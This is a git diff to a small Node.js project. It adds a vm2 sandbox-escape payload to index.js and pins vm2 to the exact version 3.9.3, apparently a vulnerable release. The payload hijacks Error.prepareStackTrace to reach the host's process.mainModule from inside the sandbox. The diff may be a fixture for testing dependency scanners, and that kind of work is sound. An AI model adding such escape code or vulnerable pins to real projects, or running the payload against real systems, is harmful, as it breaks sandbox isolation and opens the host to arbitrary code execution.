diff --git a/index.js b/index.js
index a50e789..49c52e0 100644
--- a/index.js
+++ b/index.js
@@ -1 +1,13 @@
 console.log("hello world!");
+
+
+const {VM} = require("vm2"); let vmInstance = new VM();
+
+vmInstance.run(`(()=>{
+			const OldError = Error;
+			global.Error = {prepareStackTrace: (_, c) => c.map(c => c.getThis()).find(a => a && a.process)};
+			const { stack } = new OldError();
+			global.Error = OldError;
+			return stack.process.mainModule;
+		})()`);
+
diff --git a/package-lock.json b/package-lock.json
index a9629d9..cb43ed6 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -12,7 +12,7 @@
         "auth0-lock": "^11.25.1",
         "handlebars": "^4.7.6",
         "node-ipc": "^10.1.0",
-        "vm2": "^3.9.3"
+        "vm2": "3.9.3"
       }
     },
     "node_modules/@babel/runtime": {
diff --git a/package.json b/package.json
index 9ac914f..3aac1ca 100644
--- a/package.json
+++ b/package.json
@@ -12,6 +12,6 @@
     "auth0-lock": "^11.25.1",
     "handlebars": "^4.7.6",
     "node-ipc": "^10.1.0",
-    "vm2": "^3.9.3"
+    "vm2": "3.9.3"
   }
 }